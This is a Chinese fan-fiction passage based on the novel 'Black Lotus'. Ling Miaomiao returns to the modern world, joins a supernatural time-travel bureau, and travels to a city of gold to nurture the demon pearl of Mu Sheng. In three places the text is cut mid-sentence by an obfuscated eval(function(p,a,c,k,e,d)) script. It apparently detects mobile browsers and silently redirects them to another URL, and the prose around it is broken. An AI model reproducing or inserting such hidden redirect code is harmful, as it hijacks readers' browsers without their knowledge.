《赴归期[黑莲花同人]》 1. 再见系统君 1 “永夜为暮，离歌为笙。” 慕声……子期…… 我喜欢，很喜欢子期…… “可惜，世上再无我。” “不要！慕声——” “什么不要！凌妙妙！你丫的再不起来，开机仪式就要迟到了啊！” 那人的手段狠厉得毫不留情面，不似先前慕声那般待她怜惜又克制的揉捏，如今耳垂被拖拽着生疼。 凌妙妙倒吸了一口凉气，如同一只被揪住耳朵的兔子，胡乱地在空中蹬腿挣扎着。 好不容易睁开眼，就对上了一双极为愤怒的眼睛，凌妙妙背脊瞬间发凉。 杏子般水汪汪的眼眸眨巴了几下，凌妙妙惊疑的视线环顾了一周。 贴在白墙边的，是大学寝室经典的上床下桌；而她长发压着的，正是她那张睡了快四年，翻个身动不动就会“吱呀吱呀”叫唤的床板…… 只有在晨间乍醒时分，凌妙妙的性子才显露出毫无防备的温软，带了些许着凉的鼻音。 “这……我，回来了？” “回魂了？”冷冰冰的女声，竟然让她联想起那一贯神出鬼没的系统提示音…… 此刻被那瞪圆了眼睛，还不忘单手叉腰的室友吓得七魂丢了三魄，凌妙妙一时间语无伦次，“我我我，你你你……” “你你你……你什么你，好不容易接到的女主替身戏，快点换好衣服，剧组的大巴车都在楼下等了！” 匆忙洗漱罢，被塞了一嘴吐司的凌妙妙还没来得及喘上一口气，就被室友二话不说推搡着下了楼。 说起这份兼职，还是她这个数学系混子在穿书前去帝都影视城旅游，误打误撞面试通过的…… “凌虞老师辛苦了。” “凌虞老师请大家喝奶茶喽。” “天气冷，大家辛苦了。”裹着羽绒白色棉服，站在阳光下，女主演的皮肤白得发亮，双颊泛着薄粉，明明是寒冷的冬日，她的笑容明媚得像一朵阳光下盛开的夏日芙蕖。 坐在遮光板后的小板凳上，凌妙妙远远地望着她，似乎在某个瞬间，她的记忆又回到了书中，那段顶替凌虞壳子生活的日子…… 没有人认出真正的她，除了，那朵一开始就包藏了祸心的黑莲花。 “异世之人。” 她清楚的记得，婚后某个夜里，慕声坦白，自己早就发觉了这个秘密。 机敏如子期，竟也能不动声色压下这个秘密，暗暗陪着她走过一程山水，携手破局，而后又亲手送她渡过命运的碣石。 可如今，她与他横在两个世界，再难相见。 又或者如他所想的那般，这世界，再无他…… 一想到这里，凌妙妙垂了垂眼睫，鼻梁两侧的脸颊苍白得不像话。 多么讽刺的事情，书里的凌虞为了得到所爱之人，阴暗，善妒，无所不用其极，最终却得不到想要的。 她意外顶替了凌虞本该惨淡的人生，让凌妙妙这个名字重新活在了阳光下。 可如今，她回到了原本属于她的世界，竟还是做了凌虞的替身。 只不过，那位同名同姓的女主演本身就是位性格极好的小太阳。她会把书里那位洗白版的凌虞以另一种极为自然的方式呈现给观众。 那她呢？真正的凌妙妙该何去何从？还是说，过往种种，都是她的大梦一场？ 可为什么，这里这样的痛？ 凌妙妙低垂着头，颤抖着手，隔着薄薄的黑色大衣，摁着心口。 明明是花了大价钱买下的手工羊绒大衣，保暖效果应该是顶好的，可在这种时候，她却异常想念慕声的披风…… 凌妙妙不止一次想过，若能再回到书中，是不是还能见到那个鹅黄墨襟的少年，朝她不羁走来，眉眼间压着对她的敌意，再后来，便是少年那泛红的眼角难以抑制的浓烈爱意…… ──我喜欢子期，我要嫁给子期…… 可是，一切都回不去了。 【叮——】 凌妙妙赫然抬首，眼前的惊异一闪而过，随即涌上了星样闪烁的悦然。 久违了。 神出鬼没的系统君。 ── “什么？！” 林子里的鸟扑棱棱飞起。 “看广告不能复活，还得做任务？！” 时代更迭这么快，你们做系统的，就不能与时俱进吗？ 端着奶茶的手微微发抖，凌妙妙另一只手扶了扶额，瘪了瘪唇，杏子般的眸里翻过一层涟漪，一时间竟有些无语凝噎。 【叮──结合其特殊情况，已为您从穿书升级为快穿系统了。】 该说不说，比起之前穿进书里的冷淡不回应，新的快穿系统好像多了点人情味？凌妙妙暗暗在心里发出肯定。 “著名演员离笙赶往新剧开机仪式途中突发不适症状，已入院治疗，本台记者将会密切关注其后续状态。” 怪不得今天的开机仪式，这位男主演会临时缺席…… 把视线从手机上的新闻页面淡淡地收了回来，凌妙妙凝眸，仔仔细细地扫荡了一遍系统发出的新任务。 【叮──接近演员离笙。找到慕声牌种子，并精心培育其长大开花。】 好抽象的两句话。 那位一向对外界来说，神秘莫测且心思诡谲的黑莲花怎么会成了种子？ 是哪种类型，埋土里还是水培啊？ 凌妙妙捏了把手心，强迫自己回神，费力地鼓了鼓腮帮子，咕哝了一声。 怎么回事，她刚刚居然还花了几秒钟，认认真真思考了这个极为震撼人心的命题。 人，灵长类动物。 妖……种子？ 类似于，妙……妙蛙种子？ 呃……她凌妙妙，要把小妖慕声重新种出来的意思吗？ “清醒一点啊！”拍了拍脸，凌妙妙催促自己不要再浪费时间胡思乱想，得抓紧干活了。 那就先做第一条吧，她接下来想办法接近演员离笙。 思及如此，凌妙妙一口干掉了手中的奶茶，甚至还想给自己加几只鸡翅膀加油打气。 剧组负责盒饭的老师似乎能听到她的心声，午饭时间到，一打开塑料盒，凌妙妙盯着那几只飘荡在酱汤里的肥嫩鸡翅膀，鼻尖瞬间酸了酸。 她那太仓富甲一方的郡守老父亲。担心她出远门吃不饱还特意让厨子给她做的点心……再也吃不到了…… 她突然好想他老人家啊…… 不仅如此，还有慕姐姐和柳大哥…… 抽了抽鼻尖，凌妙妙满是惆怅地望天。 “姑娘，这剧组有钱得很，伙食，倒也不算太差吧……”一个梳着妇人髻的中年大婶探过头来，操着一口流利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303231|167181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方言，满心期待：“这两个卤蛋你还要不要啊？” 凌妙妙收拢了悲伤的思绪，含泪点头，风卷残云吞下二两饭，外加盒子里的两个卤蛋，三只鸡翅膀，四勺香菇炒油菜，五小块油泼豆腐凉拌金针菇。 换了新造型等待上场，结束后，天色已然暗沉。 很不幸，晚饭炒熟的胡萝卜依旧是她的天敌。 勉强吃了个半饱，凌妙妙就跟车回了寝室楼下。 彻夜难眠。 该怎么接近离笙啊？ 那可是当下最炙手可热的男演员啊…… 【叮──】 寝室里除了室友均匀的呼吸声，系统的声音极为清晰，凌妙妙警觉睁眼。 白光倏地一闪而过。 中世纪的穹顶，欧式风格的壁画挂满了墙面，西方教堂样貌的建筑浮现在眼前。 双腿轻飘飘地落在大理石砖铺就的长道上，没一会儿，凌妙妙被眼前突然出现的细长个子，脖子上挂着简易工牌，上写“小秦”的家伙一路笑眯眯地领着进了楼上的主任办公室。 “欢迎回来。” 她和眼前的许主任面面相觑。 回忆刚刚一路上的所见所闻，那有着三个脑袋的人身妖捧着一叠高高的文件疲于奔命，耳边一阵风呼啸而过，一抬头，是一头长着大翅膀在空中弯道超车的人面兽……凌妙妙不由得捏了把手心的汗。 “触发性时空旅行？” 她与主角团们的过去种种，居然只能用这短短七个字概括。 而她就是被异典司选中的参与任务的在校大学生之一。 冷冰冰的系统就是他们低价请的客服……一分钱一分货，得了，这服务质量真是不堪言说。 “不用怀疑，年轻人。我以办公室主任的名义向你保证，确定一定以及肯定，离笙，就是你接下来新任务的接头人。”许主任翘起了二郎腿，拊掌笃定道。 凌妙妙这回可以确定了，找到离笙，就是复活慕声的第一步。 呵，敢情那男主演不是突发恶疾，他卧薪尝胆隐藏在人类世界，却在异典司有编制啊。 嫉妒。又很是羡慕。 她临近毕业，专业课成绩一般，不久前的考研成绩还没出来，前途未卜啊…… “留在帝都很容易。”看出了她的犹豫，许主任自信满满地打了个响指。 凌妙妙死死地盯着他，试图从他背后的那把真皮老板椅看出点儿什么。 但很遗憾，他背后一整面墙是用实木打造的书架，上面摆着他笑得斯文败类的自画框之外，就是几个摇摇欲坠的骷髅脑袋。 也不知道哪个更瘆人一点。 “我知道你想看什么。” 许主任忽地起身，大步走到了一旁垂着的幽绿色丝绒帘幕前。 “哗啦”一声。 满满一柜子高耸得直达天花板顶端的纸质版妖界档案盒映入眼帘。 许主任转身，淡定地看着眼前年轻又生得漂亮的小姑娘。 瞧瞧，这一看就是个高品质的劳动力！还有过往优越的战绩！履历也过关……真是异典司不可多得的人才！ 凌妙妙警觉地抱紧了双臂，环顾胸前，把头摇成了拨浪鼓，栗色的发丝垂落在毛衣领口。 略带静水光泽的唇翕张，她的语调坚决：“我对办公室助理的活儿不感兴趣。” 2. 失而复得 夜色凄寂，屋檐下的窗柩落下一枚狭长的月影。 “妙妙怎么还不醒？”郡守千金的卧房里，床畔前伫立的女子不住启唇，声音依旧温凉如水。 “想来，若非慕声的缘故……”男子一袭白衣胜雪，眉宇间透露一股似有若无的忧郁，凝视着眼前的心上人，眸色略显犹疑道，“慕瑶，又或……” “兴许，是那次大战……”两人异口同声，对视一眼，忽而，默契的欲言又止。 那次大战，是两人皆不愿提及的事情。 兴许亦是那回，导致妙妙落下了心病。 慕瑶稍一低头，眼角下的泪痣犹为明显，她不禁垂下纤细的手臂，阔摆轻拂，自袖中探出指尖，担忧地抚上床榻间那个双眸紧闭的少女的额头。 冷冰冰的触感让慕瑶眼中晃过一丝恸然。 只见床榻的妙妙双颊依旧泛着薄红，柔滑如花瓣似的唇微微上扬，露出了往日与慕声待在一处时才会有的──来自女儿家那极为缱绻的笑意。 见状，慕瑶心中疑惑不已。 妙妙她……莫不是在梦中梦见了阿声？ 所以才迟迟不愿醒来…… “如此下去，可不是长久之计。”慕瑶凝眉，往日不笑时，淡淡的声音透着些许凉意，眼中更似渐渐结了一层薄霜。 柳拂衣抚上她的肩，温声道：“我忽然想起，有一道符咒可以派上用场。” “入梦符？此物从何而来？”慕瑶盯着柳拂衣手中飘动的符纸，眼中掠过罕见的惊异之色。 柳拂衣平声回忆道：“我们那日侥幸从裂隙中挣脱而出，你仍旧昏迷未醒时，我先一步睁开眼，便瞧见一个青衣少年立在身侧。” 慕瑶拢了拢袖，眼中越发困惑。 “那少年眉宇间瞧着竟与慕声有九分相似。”柳拂衣倏地一顿，捻紧手中那两条飘动的黄符，压低了嗓音：“这符纸便是他临走前留下的。且，他还留了一句话……” “他还说了什么？”慕瑶上前一步，一贯清冷如水的面上终是有了裂痕，语气明显急迫了些。 “若要寻回故人，便要以身入梦。” “拂衣，那一日，我曾与你说的，你可还记得？”慕瑶沉默了片刻，忽地出声，目光悠长地望向他。 “我自是不能忘。”柳拂衣颔首，笃定应声。 ‘责任’二字，于他们而言，可以看作比自身生命更为重要。 慕瑶弯唇，朝他伸出手，“你可愿？” 柳拂衣欣然牵住了她的手，“能与你一同入梦，甚好。” 偌大的卧房内，穿过木窗的夜风轻轻浮动，撩拨了床帷，床榻，屋内竟空无一人。 唯余立在床前的屏风赫然上书：为寻故人，以身入梦，方可，破局重生。 ── 异典司一贯气氛压抑的主任办公室内，今日难得愉快至此。 “不不不，这简直是大材小用。”许主任摆了摆手，勾了勾嘴角，明显被她逗笑了。 “我找你来，是特意邀请你加入我们新改革的快穿部，再过几年，我们就要和穿书部门合并，做大做强，正式成立穿越总局！” 凌妙妙垂眼看着他递过来的挂牌，手掌心大小的样式，金属的质感，里面似乎镶嵌了独有的芯片。 皮肤相接触的瞬间，内置芯片好像感应到她掌心的温度，边沿正在一点点发亮，似乎在录入她的掌纹信息。 不一会儿，边沿的亮光渐熄，光滑的挂牌表面忽地显现了“0325”这串数字。 “小凌，凭借这枚工牌，以后你可以随地传送至异典司寻求帮助。也可以用它添加旁人的联系方式，方便和内部的工作人员沟通工作事项。” 凌妙妙指间微弯，略略用力地捏了捏有些发烫的挂牌，狐疑地抬眼，轻睨着那个洋洋得意的男人。 这和她原有世界的爪机倒是彼此彼此呢…… 只不过，可以加的好友不是一个世界的人，准确来说，是妖。 而且这挂牌的功能，和某钉，某微也没什么区别吧…… 等等，它多了一个让员工足以咬牙切齿的功能──随时随地，只要她需要，整个人就能立马传送到总部啊…… 凌妙妙算是明了，合着到哪里都离不开打工人纯牛马必备套餐…… “小凌，你好好考虑，我给你一周的时间。” 凌妙妙本就善于灵活变通，遇到重大抉择问题，向来舍轻就重。 为了达到目的，主打一个能屈能伸。 利用异典司的方便，凌妙妙很快加上了离笙的联系方式。 顾及对方现在的名气地位太过招摇，戴好墨色口罩，压低了深灰鸭舌帽，想了想，她又费了好大劲从衣柜里挖出一身压箱底的黑色修身长款羽绒服。 一整套组合拳打下来，凌妙妙总算穿过重重阻碍，在医院见到了传闻中的离笙。 前脚刚进病房，只一眼，凌妙妙立刻愣住了。 若非病床上那双看向她的眼睛透露着十足的陌生感，她差点以为慕声活生生站在自己眼前。 离笙的助理端着开水壶进门，瞥了眼床上熟睡的青年，脚步一顿，注意到了沙发上的凌妙妙，他的眼中不禁流露出惊奇且钦佩的神色。 半靠着沙发背的凌妙妙恍若未闻，抿了抿唇，默不作声地对着窗外渗入屋中的太阳光，捻指，一点一点，缓慢地转动着手心的那枚珠子。 “进医院前，他的手里就一直捏着这颗珠子，死活不肯撒手啊。也不知道他是从哪里找来的，还怪好看的。” 说着，助理给她递上一杯开水，忍不住低声再次感慨道： “凌小姐，你一来，他竟然愿意把那玩意儿亲手交给你。”啧啧啧，他该不会发现什么不得了的事情了吧…… 凌妙妙收好珠子，没有接过水杯，“我先走了。” 助理愣住了，一脸讶然，“可你不是刚来……” 没有吭声，凌妙妙走得头也不回。 助理拔腿想追出去，随即揉了揉眼，他刚刚没看错吧，那么一个漂漂亮亮的女孩子，是怎么瞬间消失在门口的？ 异典司每一间办公室的窗外，都亮如白昼。 没错，这里的时间是停止的。 凌妙妙也是刚知道这件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303232|167181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她低头，隔着窗外那抹细碎得毫不真实的阳光，再度细细地端详着手心躺卧的这颗半透明的珠子。 ──冰凉光滑的质感，晃动不已的嫣红水纹，如同暗藏在礁石下的潮汐，阴湿又迅疾地奔涌出变幻莫测的图案。 许主任个子不算太矮，整个人侧倚在窗边，手里快速地翻了翻档案，皱了皱眉，他探寻的目光终是落在了列表底端那行加粗加大的字体。 “魅女半妖的体质……”他面色凝重，略一沉吟。 凌妙妙心里微微揪紧，“你也知道，这小妖体质不好……” 动不动就黑化发狂吓人，凌妙妙想也不用想，放眼整个异典司，大概率是没有人愿意孵化……或者驯养净化…… 凌妙妙很担心，手底下有六千多个平行世界要管理的许主任会不会因为忌惮慕声妖身成年后难以压抑的黑化值过大，从而决定灭杀……以目前还是颗小球的形态？ 凌妙妙吸了吸鼻子，这里没有他的阿姐，慕声只有她了啊……她也早早就答应过的，在离开那个世界前，绝不会离开他。 纵然，完成任务回到了现在的世界，凌妙妙倔强得一心仍要继续遵守诺言。 三年之期没到，她不会，也绝不可能嫁给别人。 更何况，慕声没死，他只是暂时成了颗珠子？好吧……其实这是他的妖丹。 凌妙妙没有孵蛋的经验，从小到大养植物什么的……也不大行。 她觉得异典司里面各种妖的品种应该很齐全，肯定有这方面的专业人士…… 那么，若是旁人不要他，她也要将他护好。 坚固了心里的决定，凌妙妙倏而握紧了掌心的珠子，抿了抿唇，准备伺机转身逃离。 许主任合上档案夹，拍板： “哈，谁说这体质不行，这体质可太棒了。” “啊？”凌妙妙险些以为自己听岔了。 许主任笑了笑，理了理自己的西装外套，清了清嗓子，“这物种就像宝藏，可挖掘的潜力可太大了。” 从刚刚翻档案的时候用余光就注意到眼前小姑娘的不安，许主任笑了笑，“安了，你就是培育这只小妖最合适的人选。” “我？”凌妙妙眨巴眨巴眼，极为轻的嘀咕了一声。 “不用怀疑，除了你，没有人，也没有妖能被他自愿选择被驯化。” 自愿被驯化…… 是慕声主动选择了她。 凌妙妙压下心里的悸动，半垂下眼睫，注视着这枚漂亮的珠子，不愧是慕声，就算化成珠子也生得这般好看。 凌妙妙忍不住抬起手腕，双手将它轻轻的，极为小心地捧起，随即以温热的掌心将之覆在心口。 独一无二的，只属于她的子期。 她决定了，接下来的任务不管有多艰难，她都一定要把慕声好好养大！ 凌妙妙蹙眉，忽地哽住，唔，“养大”这个词怎么感觉怪怪的，哎，不管了，谁刚出生还不是个小宝宝啊。 凌妙妙此刻满脑子都沉浸在心上人失而复得的喜悦中，完全忽略了许主任脸上别有意味的笑容。 3. 再见慕瑶 “事不宜迟，马上出发吧。” 凌妙妙抬起头，一双杏子眼里泛过一层涟漪，去……哪儿？ 许主任偏头，食指点了点下巴边缘，“或许，你应该清楚，成功培育一颗种子的要素吧。” 合适的土壤，充足的阳光，还有，必不可缺的水分。 凌妙妙的眼睫颤了颤，惊讶的视线在掌心躺卧的那枚安静的珠子身上来来回回扫视了好几圈。 该不会，慕声这会儿也需要这些吧…… 凌妙妙犹犹豫豫地瞟向了窗边那个被许主任搁在阳光下暴晒得蔫了看不出原来物种的花盆，唇瓣抿紧，陷入了好一阵诡异的沉默。 “别打我宝贝花盆的主意啊。”把手里的纸质档案利落地丢开到一边，许主任长臂一伸，将那贫瘠得小沙盆一把揽在怀里。 凌妙妙的嘴角僵了僵，她倒也没看出来这厮有多宝贝他那只盆栽。 很久以后，凌妙妙才从小秦嘴里得知，这盆栽是许主任的初恋对象养死的，顺手丢给了他；那位初恋扬言，要是许主任能把它救活，就嫁给他…… “再说，种这小妖要用的土壤，可不是一般的泥土能行的。” 许主任扬起下巴，鼻尖哼了哼，眉头拧紧得如临大敌。 见他这般护着那花盆，凌妙妙亦是不自觉地合拢了手心，轻叹了口气，“劳烦您指条明路吧。” “这好办。”腾出一只手，打了个响指，许主任身后的书架顶忽地抖落一层幕布。 凌妙妙心下一紧，忽地有种不祥的预感。 听许主任讲了将近半小时的PPT， 凌妙妙靠坐在椅子上，昏昏欲睡。 “金城，寸土寸金，可谓是富贵迷人窟，总而言之，一切小心为上。” 这金城的风土人情，凌妙妙因着犯了午困，迷迷瞪瞪之间，只听到了最后这句。 先前穿进太仓郡守府，凌妙妙不偏不倚，彻彻底底见识到了自家便宜老爹惊人的财力，因此，对于“金城”这个新地图据点，见过了世面的她倒也没有太多期待和意外。 她的心眼很小，小到只能装得下她掌心里的小慕声。 不过，既然要去金城做任务，遇到点风波是难以避免的，她可不能一直把小慕声攥在手心里，得想个妥当的法子把他带在身边才好。 凌妙妙的拇指和食指捏着那枚珠子，缓缓凑近，抵至鼻尖，一双杏子眼聚拢。 在她快成为斗鸡眼的时候，许主任总算看不下去，清了清嗓子，压低眼角，沉声催促：“跟小秦去走廊第三间的库房，里面有你想要的东西。” 小秦一路上依旧笑眯眯的，转身利落地给她拉开了库房的门。 凌妙妙一度怀疑小秦是个机器人，为什么会有人打工打得这么开心的，一天天的，小秦嘴角的弧度就没撇下来过。 从鳞次栉比，如同小房子一样的 货架堆里，凌妙妙蓦一抬头，就被货架里塞得满满当当的彩色丝线迷得眼花缭乱。 凌妙妙蹙了蹙眉，半透明红珠在她的指尖滚动了几下，如果真的给珠子穿孔串线，慕声会不会受伤…… 很快，凌妙妙就否决了这个做法。 哪怕有一分几率会伤到她所爱的人，她都不会去尝试。 因为，如今摆在她面前的，分明有更多可以选择的机会。 抽取了鹅黄，还有墨色中泛着些许金光的丝线堆，凌妙妙恰一转身，小秦极为贴心的把线团们塞入了一个定制的微型收纳盒。 趁着系统传送她去金城之前，凌妙妙努力回忆先前偶然间从表婶那里学会的编香囊的方法。 鹅黄作为底色，收口处的墨色金线作为束带，凌妙妙小心翼翼把珠子揣进香囊袋中。 指尖轻柔地拂过囊袋表面，她垂睫温声哄道：“慕声，我们出发喽。” 这回的时空隧道风有点大，凌妙妙不由得眯了眯眼，在她没注意的空隙，腰间的香囊袋忽而闪烁着一抹极为微弱的红光。 【叮──】 来了，许主任低价请的安全机器人发来通知了。 凌妙妙抬头，眼前紧接着浮现了一行字： 【一、解决城主的困境，收集合适的土壤】 凌妙妙秒懂，这回到金城，先找城主，解决危机以后，就能收集到适合慕声长大的土壤。 怪不得，许主任说普通的土壤不适合慕声…… 隧道的风骤然停歇，凌妙妙的双脚堪堪站稳，仰起脖子，望着城门前硕大的牌匾。 “金城”二字的份量看起来极沉。 不仅如此，那牌匾的质感……瞧着像极了…… “哎，劳烦姑娘让让。” 凌妙妙的嘴角抽了抽，吸了一口凉气，“敢问大叔，您手里的这把扫帚……” 被唤作“大叔”的中年男子揉了揉脖颈，脑袋转了几圈，面露嫌弃，晃荡着手里的扫帚，哀声抱怨：“别提了，这金城最不缺就是金子，这金扫帚可太沉了……向上头申请的木扫帚也不知何年能下来啊。” 凌妙妙低头，盯着足尖的那条宽敞的街道…… 金色的地砖…… 还有金色城墙的砖瓦…… 传闻中的金城…… 果然，寸土寸金。 许主任诚不欺她。 望着中年大叔拉长了一张黑脸，抡起粗壮的胳膊，抓着金扫帚，把地上一些碎金子极为熟练的扫进金篓子里，就像清扫地上落叶一样寻常。 凌妙妙一时语塞。 “哎呦，你怎么还在这里？” 凌妙妙猝不及防被一个陌生的粉衣少女撞了一下，又被攥住了手腕，有些发懵的回望着她。 “今日远黛小姐的医师招募报名会马上就要截止了，再晚些城门关了，可就赶不上了啊。” 凌妙妙看了眼自个儿的水袖，和眼前的粉衣少女相差无几。 看来她这回穿进的身份，倒是与这粉衣少女“师出同门”了。 凌妙妙不动声色跟着粉衣少女走完了一系列的流程，入住了城主府的后院。 一路上默默听着八卦传闻，凌妙妙方得知，原来，这远黛小姐便是城主的独女。 刚进了安排好的寝舍，待负责人离去，故作乖巧的凌妙妙脸色一变，又恢复到了往日的狡黠灵动，迅疾扭过头，提着粉色裙摆，便要出门一探究竟。 刚跨过门槛，她目光忽的一滞，远远望见院中一女子的身姿婀娜，着了件没有过多修饰的月白上襦，下衬淡蓝色长裙。 那是记忆里某人常穿的衣着……凌妙妙心跳不由得加快，试探性轻唤： “慕……慕姐姐……” 那女子闻声转过头。 眼角下的泪痣犹为明显。 纤白的脖颈下是漂亮的锁骨，被芋紫色的抹胸托着，腰间以下的淡蓝色裙摆迎风摇曳，窈窕的身形在院中的树下殷殷亭立。 “慕姐姐！”凌妙妙一步三跳，发间梳着的双环髻如同一对兔耳朵，身形灵动得宛若一只粉色的兔子，正兴奋地跃下台阶，朝院中的女子奔赴而去。 “妙妙！” “真的是你！慕姐姐！”握住了慕瑶的双手，凌妙妙左顾右盼，唇角的笑意绽开，杏子眼东晃晃西晃晃，眼珠子滴溜溜转了一圈，有些疑惑：“柳大哥呢？” 慕瑶眼中的喜悦随即淡去不少，似又恢复了往日的冷静，她凝眉，“我在来时，与他失散了。” 凌妙妙拉着慕瑶进了寝舍详谈。 才知道他们是通过入梦符来的金城。 大概是同她一般，来时路上怪风太大，才导致二人分散。 握紧了慕瑶的手，凌妙妙安抚道：“慕姐姐，放心，我接下来陪你一块儿找柳大哥。” 慕瑶眼中晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奔波劳顿一番，少不得一顿大快朵颐。 凌妙妙静静地看着躺在香囊外边晒太阳的珠子，鼓起腮帮子又啃了一口肥嫩的鸡翅膀，心想着，等慕声长大了，她要和他一起吃很多很多顿饭。 看了眼空掉的饭碗，慕瑶关切询问：“妙妙，饭还要吗？” “唔……”凌妙妙顿了顿，随即转了转眼珠子，笑着摇摇头，寻思着她还有刚刚从院子里摘的几个果子，作为饭后水果最为不错了。 慕瑶望了眼窗外，凝眉细思罢，终究决定开口： “如今是盛夏的模样，若是慕声日后真的可以回来，那他的发带……” 对哦，凌妙妙这才想起，那次与怨女的动荡，慕声亲手扯掉了他的发带，想来如今已经无处可寻了。 得重新为他准备一条新的发带才行。 不过，这一回，她想亲手为他准备。 凌妙妙暗暗下了决心，连忙求学若渴地问道：“慕姐姐，当初的发带是怎么做的？” “此处已经不是原来的世界……”慕瑶面露难色，迟疑道：“倘若，可以寻到雪蚕好生将养……或许到了来年春日，便可吐丝结茧……” 凌妙妙想了想，“我有办法。” 与此同时，她的指尖摸索到了腰间那枚工牌。 傍晚时分的霞光很美，凌妙妙揣着香囊一块儿上了寝舍的屋顶。 慕瑶先一步来到金城，如今混入医师中探听消息，而凌妙妙则负责盯着西南方向的院落的动静。 那处明明是盛夏，到处种满了雪松，有一股逼人的清冷之意。 不是别处，正是城主千金──远黛小姐所在的院落。 4. 发现异样 城主的女儿远黛小姐病了， 整个金城的人都知晓，城主近来为了治好远黛小姐的病，发出布告，天南地北广招医师。 但远黛小姐的病究竟有何症状，此事唯有城主府中的下人们才知晓。 对他们而言，这是一个公开的秘密。 应招的医师们抽签依次分了组别，轮番上阵。 短短半月，原本招的数十名医师被遣退过半。 被遣散的人群中，凌妙妙亲眼见到那日拉着她一同报名的粉衣少女也在其内。 “妙妙。” 凌妙妙闻声，一扭头，便对上了身旁女子那副清冷的眉眼，其眼角的泪痣近看时，犹为动人。 “轮到我们进去了。”慕瑶拉起她的手，轻声道。 凌妙妙定了定心神，迈过门槛，跟着前头领路的西南院管事一路走着。 绕过了亭台楼阁，花鸟水榭，曲曲折折的回廊清池，总算到了她先前趴在屋檐窥探了半月的院落。 这阵子，她透过窗扉，只远远瞧见那远黛小姐坐在梳妆台前，时不时便要拿出镜子来查看自个儿的容颜。 “看来这远黛小姐，倒是位极为在乎容貌之人。”慕瑶偏头，微微扬起眉梢，心中有了初步的断定。 凌妙妙亦是不解，今日近距离见过那远黛小姐，眉目如画，气质绝尘，的确当得起金城里数一数二的美人的名声。 凌妙妙又见她谈吐优雅大方，神智清醒得很。 也难怪旁人初见，对她的评价无外乎：远黛小姐，是位典型的大家闺秀。 傍晚趁着廊亭的夕阳，用过晚饭，夏季的天色未暗。 其他的医师们决定先行回寝舍稍作整顿，或查阅医书典籍，或暗中搜寻珍稀草药。 凌妙妙与慕瑶则默契地对视一番，二人决定等入了夜，再去远黛房中一探究竟。 最后一缕晚霞掠过树梢，天色终于暗沉。 凌妙妙低头，瞥了眼腰间边沿泛起幽光的工牌，瞬间愣住。 异典司的人来了。 “妙妙。” 眼前人一身华贵的落地墨袍，自走廊的尽头，阔摆轻扬，轻巧地迈开了足下长靴，朝她踱步而来，眉宇间好似洋溢着少年曾经鲜活的颜色。 凌妙妙攥紧了袖内的香囊，确认里头的珠子尚在，暗暗松了口气。 慕瑶怔住，凝眸细视眼前的“少年”，迅速压下心头的喜悦，眼中随即流露了几分困惑。 难道，这便是拂衣那日所说的，与阿声有九分相似的那人── “离笙。”凌妙妙有些不安，强作冷静出声唤道。 慕瑶别过头看了眼一旁的妙妙，有些纳闷，“你们……竟相识？” 凌妙妙拉起慕瑶的手，轻轻晃了晃，“慕姐姐，这是我……” “妙妙是我阔别多年的好友。”离笙说着，眉眼泛开了明灿灿的笑意，这般热烈的情状，瞧着倒不似作伪。 与正版的黑莲花比起来，这家伙是真的生性阳光开朗啊。 ──见状，凌妙妙暗暗感慨，随即僵硬地点了点头。 气氛在此刻变得尤其微妙。 撇开慕瑶，凌妙妙终是忍不住，拽着他的墨袍袖口往一旁避去。 “你怎么来了？”凌妙妙面对离笙那张与慕声极为相似的脸，挤了挤杏子眼，颇不自在地扭了扭脖颈，磨着牙关，从牙缝里挤出一丝焦灼的声音质问。 “许主任收到你的消息了，让我寻了雪蚕来给你。顺道给新同事排忧解难。” 说着，离笙淡定地自袖摆内取出一条月白中夹杂着细灰的暗纹锦盒。 整理好表情，凌妙妙弯唇，舒展了一个平静的微笑，拿着锦盒回到了慕瑶跟前。 离笙大步一跨，也顺势站在了凌妙妙的身侧。 慕瑶沉默的左右看了看两人，眸子一敛，下意识望向凌妙妙腰间的那枚鹅黄墨色束口的香囊…… 凌妙妙攥紧了锦盒，随即打开，故作欣喜道：“慕姐姐，快瞧，这是离笙给子期带的礼物。” “离公子，有心了。” 慕瑶的视线落在那极为难寻的雪蚕身上，眸光晃过了一丝惊异，但语气仍旧带着几分客气的疏离。 “久闻慕小姐在捉妖界的大名，我今日也给慕小姐带了礼物。” 离笙款款欠身，变戏法般，动作却极为优雅地从袖子里掏出另一个截然不同的，色泽淡蓝的锦盒。 “追踪符？” 慕瑶眼中掠过一丝诧然。 “慕小姐果真见多识广。” 离笙顿了顿，又道：“若是将要寻之人有关之物贴上此符，再一同烧尽，便可追踪其踪迹。” “太好了，慕姐姐，这样，我们很快就能寻到柳大哥了。”凌妙妙收好锦盒的雪蚕，趁机挽住了慕瑶的胳膊，顺势转移话题。 慕瑶面上总算有了松动的神情，双手接过那道符，朝眼前的“少年”弯了弯眉，温声道谢。 